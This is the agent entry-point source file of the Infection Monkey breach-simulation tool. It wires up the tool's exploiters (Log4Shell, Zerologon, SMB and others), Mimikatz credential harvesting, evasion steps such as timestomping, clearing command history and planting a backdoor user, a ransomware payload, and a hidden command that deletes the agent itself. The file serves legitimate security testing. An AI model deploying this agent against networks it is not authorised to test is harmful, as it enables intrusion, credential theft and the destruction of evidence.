490 lines
19 KiB
Python
490 lines
19 KiB
Python
import argparse
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import sys
|
|
from pathlib import Path, WindowsPath
|
|
from typing import List
|
|
|
|
import infection_monkey.tunnel as tunnel
|
|
from common.network.network_utils import address_to_ip_port
|
|
from common.utils.argparse_types import positive_int
|
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
|
from common.version import get_version
|
|
from infection_monkey.config import GUID
|
|
from infection_monkey.control import ControlClient
|
|
from infection_monkey.credential_collectors import (
|
|
MimikatzCredentialCollector,
|
|
SSHCredentialCollector,
|
|
)
|
|
from infection_monkey.credential_store import AggregatingCredentialsStore, ICredentialsStore
|
|
from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper
|
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
|
from infection_monkey.exploit.log4shell import Log4ShellExploiter
|
|
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
|
from infection_monkey.exploit.powershell import PowerShellExploiter
|
|
from infection_monkey.exploit.smbexec import SMBExploiter
|
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
|
from infection_monkey.exploit.wmiexec import WmiExploiter
|
|
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
|
from infection_monkey.i_puppet import IPuppet, PluginType
|
|
from infection_monkey.master import AutomatedMaster
|
|
from infection_monkey.master.control_channel import ControlChannel
|
|
from infection_monkey.model import VictimHostFactory
|
|
from infection_monkey.network import NetworkInterface
|
|
from infection_monkey.network.firewall import app as firewall
|
|
from infection_monkey.network.info import get_local_network_interfaces
|
|
from infection_monkey.network_scanning.elasticsearch_fingerprinter import ElasticSearchFingerprinter
|
|
from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter
|
|
from infection_monkey.network_scanning.mssql_fingerprinter import MSSQLFingerprinter
|
|
from infection_monkey.network_scanning.smb_fingerprinter import SMBFingerprinter
|
|
from infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter
|
|
from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload
|
|
from infection_monkey.post_breach.actions.change_file_privileges import ChangeSetuidSetgid
|
|
from infection_monkey.post_breach.actions.clear_command_history import ClearCommandHistory
|
|
from infection_monkey.post_breach.actions.collect_processes_list import ProcessListCollection
|
|
from infection_monkey.post_breach.actions.communicate_as_backdoor_user import (
|
|
CommunicateAsBackdoorUser,
|
|
)
|
|
from infection_monkey.post_breach.actions.discover_accounts import AccountDiscovery
|
|
from infection_monkey.post_breach.actions.hide_files import HiddenFiles
|
|
from infection_monkey.post_breach.actions.modify_shell_startup_files import ModifyShellStartupFiles
|
|
from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs
|
|
from infection_monkey.post_breach.actions.timestomping import Timestomping
|
|
from infection_monkey.post_breach.actions.use_signed_scripts import SignedScriptProxyExecution
|
|
from infection_monkey.post_breach.actions.use_trap_command import TrapCommand
|
|
from infection_monkey.post_breach.custom_pba import CustomPBA
|
|
from infection_monkey.puppet.puppet import Puppet
|
|
from infection_monkey.system_singleton import SystemSingleton
|
|
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
|
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
|
|
from infection_monkey.telemetry.messengers.credentials_intercepting_telemetry_messenger import (
|
|
CredentialsInterceptingTelemetryMessenger,
|
|
)
|
|
from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import (
|
|
ExploitInterceptingTelemetryMessenger,
|
|
)
|
|
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
|
|
LegacyTelemetryMessengerAdapter,
|
|
)
|
|
from infection_monkey.telemetry.state_telem import StateTelem
|
|
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
|
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
|
|
from infection_monkey.utils.environment import is_windows_os
|
|
from infection_monkey.utils.file_utils import mark_file_for_deletion_on_windows
|
|
from infection_monkey.utils.monkey_dir import (
|
|
create_monkey_dir,
|
|
get_monkey_dir_path,
|
|
remove_monkey_dir,
|
|
)
|
|
from infection_monkey.utils.monkey_log_path import get_agent_log_path
|
|
from infection_monkey.utils.propagation import maximum_depth_reached
|
|
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
|
|
|
|
logger = logging.getLogger(__name__)
|
|
logging.getLogger("urllib3").setLevel(logging.INFO)
|
|
|
|
|
|
class InfectionMonkey:
|
|
def __init__(self, args):
|
|
logger.info("Monkey is initializing...")
|
|
self._singleton = SystemSingleton()
|
|
self._opts = self._get_arguments(args)
|
|
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(self._opts.server)
|
|
self._control_client = ControlClient(self._opts.server)
|
|
# TODO Refactor the telemetry messengers to accept control client
|
|
# and remove control_client_object
|
|
ControlClient.control_client_object = self._control_client
|
|
self._monkey_inbound_tunnel = None
|
|
self._telemetry_messenger = LegacyTelemetryMessengerAdapter()
|
|
self._current_depth = self._opts.depth
|
|
self._master = None
|
|
self._inbound_tunnel_opened = False
|
|
|
|
@staticmethod
|
|
def _get_arguments(args):
|
|
arg_parser = argparse.ArgumentParser()
|
|
arg_parser.add_argument("-p", "--parent")
|
|
arg_parser.add_argument("-t", "--tunnel")
|
|
arg_parser.add_argument("-s", "--server")
|
|
arg_parser.add_argument("-d", "--depth", type=positive_int, default=0)
|
|
opts = arg_parser.parse_args(args)
|
|
InfectionMonkey._log_arguments(opts)
|
|
|
|
return opts
|
|
|
|
@staticmethod
|
|
def _log_arguments(args):
|
|
arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()])
|
|
logger.info(f"Monkey started with arguments: {arg_string}")
|
|
|
|
def start(self):
|
|
if self._is_another_monkey_running():
|
|
logger.info("Another instance of the monkey is already running")
|
|
return
|
|
|
|
logger.info("Agent is starting...")
|
|
logger.info(f"Agent GUID: {GUID}")
|
|
|
|
self._connect_to_island()
|
|
|
|
# TODO: Reevaluate who is responsible to send this information
|
|
if is_windows_os():
|
|
T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
|
|
|
|
run_aws_environment_check(self._telemetry_messenger)
|
|
|
|
should_stop = ControlChannel(
|
|
self._control_client.server_address, GUID, self._control_client.proxies
|
|
).should_agent_stop()
|
|
if should_stop:
|
|
logger.info("The Monkey Island has instructed this agent to stop")
|
|
return
|
|
|
|
self._setup()
|
|
self._master.start()
|
|
|
|
def _connect_to_island(self):
|
|
# Sets island's IP and port for monkey to communicate to
|
|
if self._current_server_is_set():
|
|
logger.debug(f"Default server set to: {self._control_client.server_address}")
|
|
else:
|
|
raise Exception(f"Monkey couldn't find server with {self._opts.tunnel} default tunnel.")
|
|
|
|
self._control_client.wakeup(parent=self._opts.parent)
|
|
|
|
def _current_server_is_set(self) -> bool:
|
|
if self._control_client.find_server(default_tunnel=self._opts.tunnel):
|
|
return True
|
|
|
|
return False
|
|
|
|
def _setup(self):
|
|
logger.debug("Starting the setup phase.")
|
|
|
|
create_monkey_dir()
|
|
|
|
if firewall.is_enabled():
|
|
firewall.add_firewall_rule()
|
|
|
|
control_channel = ControlChannel(
|
|
self._control_client.server_address, GUID, self._control_client.proxies
|
|
)
|
|
|
|
config = control_channel.get_config()
|
|
self._monkey_inbound_tunnel = self._control_client.create_control_tunnel(
|
|
config.keep_tunnel_open_time
|
|
)
|
|
if self._monkey_inbound_tunnel and maximum_depth_reached(
|
|
config.propagation.maximum_depth, self._current_depth
|
|
):
|
|
self._inbound_tunnel_opened = True
|
|
self._monkey_inbound_tunnel.start()
|
|
|
|
StateTelem(is_done=False, version=get_version()).send()
|
|
TunnelTelem(self._control_client.proxies).send()
|
|
|
|
self._build_master()
|
|
|
|
register_signal_handlers(self._master)
|
|
|
|
def _build_master(self):
|
|
local_network_interfaces = InfectionMonkey._get_local_network_interfaces()
|
|
|
|
# TODO control_channel and control_client have same responsibilities, merge them
|
|
control_channel = ControlChannel(
|
|
self._control_client.server_address, GUID, self._control_client.proxies
|
|
)
|
|
credentials_store = AggregatingCredentialsStore(control_channel)
|
|
|
|
puppet = self._build_puppet(credentials_store)
|
|
|
|
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
|
|
|
|
telemetry_messenger = CredentialsInterceptingTelemetryMessenger(
|
|
ExploitInterceptingTelemetryMessenger(
|
|
self._telemetry_messenger, self._monkey_inbound_tunnel
|
|
),
|
|
credentials_store,
|
|
)
|
|
|
|
self._master = AutomatedMaster(
|
|
self._current_depth,
|
|
puppet,
|
|
telemetry_messenger,
|
|
victim_host_factory,
|
|
control_channel,
|
|
local_network_interfaces,
|
|
credentials_store,
|
|
)
|
|
|
|
@staticmethod
|
|
def _get_local_network_interfaces():
|
|
local_network_interfaces = get_local_network_interfaces()
|
|
for i in local_network_interfaces:
|
|
logger.debug(f"Found local interface {i.address}{i.netmask}")
|
|
|
|
return local_network_interfaces
|
|
|
|
def _build_puppet(self, credentials_store: ICredentialsStore) -> IPuppet:
|
|
puppet = Puppet()
|
|
|
|
puppet.load_plugin(
|
|
"MimikatzCollector",
|
|
MimikatzCredentialCollector(),
|
|
PluginType.CREDENTIAL_COLLECTOR,
|
|
)
|
|
puppet.load_plugin(
|
|
"SSHCollector",
|
|
SSHCredentialCollector(self._telemetry_messenger),
|
|
PluginType.CREDENTIAL_COLLECTOR,
|
|
)
|
|
|
|
puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER)
|
|
puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER)
|
|
puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER)
|
|
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
|
|
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
|
|
|
|
agent_repository = CachingAgentRepository(
|
|
f"https://{self._control_client.server_address}", self._control_client.proxies
|
|
)
|
|
exploit_wrapper = ExploiterWrapper(self._telemetry_messenger, agent_repository)
|
|
|
|
puppet.load_plugin(
|
|
"HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
|
|
)
|
|
puppet.load_plugin(
|
|
"Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER
|
|
)
|
|
puppet.load_plugin(
|
|
"PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER
|
|
)
|
|
puppet.load_plugin("SmbExploiter", exploit_wrapper.wrap(SMBExploiter), PluginType.EXPLOITER)
|
|
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
|
|
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
|
|
puppet.load_plugin(
|
|
"MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER
|
|
)
|
|
|
|
zerologon_telemetry_messenger = CredentialsInterceptingTelemetryMessenger(
|
|
self._telemetry_messenger, credentials_store
|
|
)
|
|
zerologon_wrapper = ExploiterWrapper(zerologon_telemetry_messenger, agent_repository)
|
|
puppet.load_plugin(
|
|
"ZerologonExploiter",
|
|
zerologon_wrapper.wrap(ZerologonExploiter),
|
|
PluginType.EXPLOITER,
|
|
)
|
|
|
|
puppet.load_plugin(
|
|
"CommunicateAsBackdoorUser",
|
|
CommunicateAsBackdoorUser(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ModifyShellStartupFiles",
|
|
ModifyShellStartupFiles(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"HiddenFiles", HiddenFiles(self._telemetry_messenger), PluginType.POST_BREACH_ACTION
|
|
)
|
|
puppet.load_plugin(
|
|
"TrapCommand",
|
|
CommunicateAsBackdoorUser(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ChangeSetuidSetgid",
|
|
ChangeSetuidSetgid(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ScheduleJobs", ScheduleJobs(self._telemetry_messenger), PluginType.POST_BREACH_ACTION
|
|
)
|
|
puppet.load_plugin(
|
|
"Timestomping", Timestomping(self._telemetry_messenger), PluginType.POST_BREACH_ACTION
|
|
)
|
|
puppet.load_plugin(
|
|
"AccountDiscovery",
|
|
AccountDiscovery(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ProcessListCollection",
|
|
ProcessListCollection(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"TrapCommand", TrapCommand(self._telemetry_messenger), PluginType.POST_BREACH_ACTION
|
|
)
|
|
puppet.load_plugin(
|
|
"SignedScriptProxyExecution",
|
|
SignedScriptProxyExecution(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"ClearCommandHistory",
|
|
ClearCommandHistory(self._telemetry_messenger),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
puppet.load_plugin(
|
|
"CustomPBA",
|
|
CustomPBA(self._telemetry_messenger, self._control_client),
|
|
PluginType.POST_BREACH_ACTION,
|
|
)
|
|
|
|
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
|
|
|
return puppet
|
|
|
|
def _build_victim_host_factory(
|
|
self, local_network_interfaces: List[NetworkInterface]
|
|
) -> VictimHostFactory:
|
|
on_island = self._running_on_island(local_network_interfaces)
|
|
logger.debug(f"This agent is running on the island: {on_island}")
|
|
|
|
return VictimHostFactory(
|
|
self._monkey_inbound_tunnel, self._cmd_island_ip, self._cmd_island_port, on_island
|
|
)
|
|
|
|
def _running_on_island(self, local_network_interfaces: List[NetworkInterface]) -> bool:
|
|
server_ip, _ = address_to_ip_port(self._control_client.server_address)
|
|
return server_ip in {interface.address for interface in local_network_interfaces}
|
|
|
|
def _is_another_monkey_running(self):
|
|
return not self._singleton.try_lock()
|
|
|
|
def cleanup(self):
|
|
logger.info("Monkey cleanup started")
|
|
deleted = None
|
|
try:
|
|
if self._master:
|
|
self._master.cleanup()
|
|
|
|
reset_signal_handlers()
|
|
|
|
if self._inbound_tunnel_opened:
|
|
self._monkey_inbound_tunnel.stop()
|
|
self._monkey_inbound_tunnel.join()
|
|
|
|
if firewall.is_enabled():
|
|
firewall.remove_firewall_rule()
|
|
firewall.close()
|
|
|
|
deleted = InfectionMonkey._self_delete()
|
|
|
|
self._send_log()
|
|
|
|
StateTelem(
|
|
is_done=True, version=get_version()
|
|
).send() # Signal the server (before closing the tunnel)
|
|
|
|
self._close_tunnel()
|
|
self._singleton.unlock()
|
|
except Exception as e:
|
|
logger.error(f"An error occurred while cleaning up the monkey agent: {e}")
|
|
if deleted is None:
|
|
InfectionMonkey._self_delete()
|
|
|
|
logger.info("Monkey is shutting down")
|
|
|
|
def _close_tunnel(self):
|
|
tunnel_address = (
|
|
self._control_client.proxies.get("https", "").replace("http://", "").split(":")[0]
|
|
)
|
|
if tunnel_address:
|
|
logger.info("Quitting tunnel %s", tunnel_address)
|
|
tunnel.quit_tunnel(tunnel_address)
|
|
|
|
def _send_log(self):
|
|
monkey_log_path = get_agent_log_path()
|
|
if monkey_log_path.is_file():
|
|
with open(monkey_log_path, "r") as f:
|
|
log = f.read()
|
|
else:
|
|
log = ""
|
|
|
|
self._control_client.send_log(log)
|
|
|
|
@staticmethod
|
|
def _self_delete() -> bool:
|
|
InfectionMonkey._remove_monkey_dir()
|
|
|
|
if "python" in Path(sys.executable).name:
|
|
return False
|
|
|
|
try:
|
|
if "win32" == sys.platform:
|
|
mark_file_for_deletion_on_windows(
|
|
WindowsPath(sys.executable), UsageEnum.AGENT_WINAPI
|
|
)
|
|
InfectionMonkey._self_delete_windows()
|
|
else:
|
|
InfectionMonkey._self_delete_linux()
|
|
|
|
T1107Telem(ScanStatus.USED, sys.executable).send()
|
|
return True
|
|
except Exception as exc:
|
|
logger.error("Exception in self delete: %s", exc)
|
|
T1107Telem(ScanStatus.SCANNED, sys.executable).send()
|
|
|
|
return False
|
|
|
|
@staticmethod
|
|
def _remove_monkey_dir():
|
|
status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
|
|
T1107Telem(status, get_monkey_dir_path()).send()
|
|
|
|
@staticmethod
|
|
def _self_delete_windows():
|
|
delay_delete_cmd = InfectionMonkey._build_windows_delete_command()
|
|
startupinfo = InfectionMonkey._get_startup_info()
|
|
|
|
subprocess.Popen(
|
|
delay_delete_cmd,
|
|
stdin=None,
|
|
stdout=None,
|
|
stderr=None,
|
|
close_fds=True,
|
|
startupinfo=startupinfo,
|
|
)
|
|
|
|
@staticmethod
|
|
def _build_windows_delete_command() -> str:
|
|
agent_pid = os.getpid()
|
|
agent_file_path = sys.executable
|
|
|
|
# Returns 1 if the process is running and 0 otherwise
|
|
check_running_agent_cmd = f'tasklist /fi "PID eq {agent_pid}" ^| find /C "{agent_pid}"'
|
|
|
|
sleep_seconds = 5
|
|
delete_file_and_exit_cmd = f"del /f /q {agent_file_path} & exit"
|
|
|
|
# Checks if the agent process is still running.
|
|
# If the agent is still running, it sleeps for 'sleep_seconds' before checking again.
|
|
# If the agent is not running, it deletes the executable and exits the loop.
|
|
# The check runs up to 20 times to give the agent ample time to shutdown.
|
|
delete_agent_cmd = (
|
|
f'cmd /c (for /l %i in (1,1,20) do (for /F "delims=" %j IN '
|
|
f'(\'{check_running_agent_cmd}\') DO if "%j"=="1" (timeout {sleep_seconds}) else '
|
|
f"({delete_file_and_exit_cmd})) ) > NUL 2>&1"
|
|
)
|
|
|
|
return delete_agent_cmd
|
|
|
|
@staticmethod
|
|
def _get_startup_info():
|
|
from subprocess import CREATE_NEW_CONSOLE, STARTF_USESHOWWINDOW, SW_HIDE
|
|
|
|
startupinfo = subprocess.STARTUPINFO()
|
|
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
|
|
startupinfo.wShowWindow = SW_HIDE
|
|
|
|
return startupinfo
|
|
|
|
@staticmethod
|
|
def _self_delete_linux():
|
|
os.remove(sys.executable)
|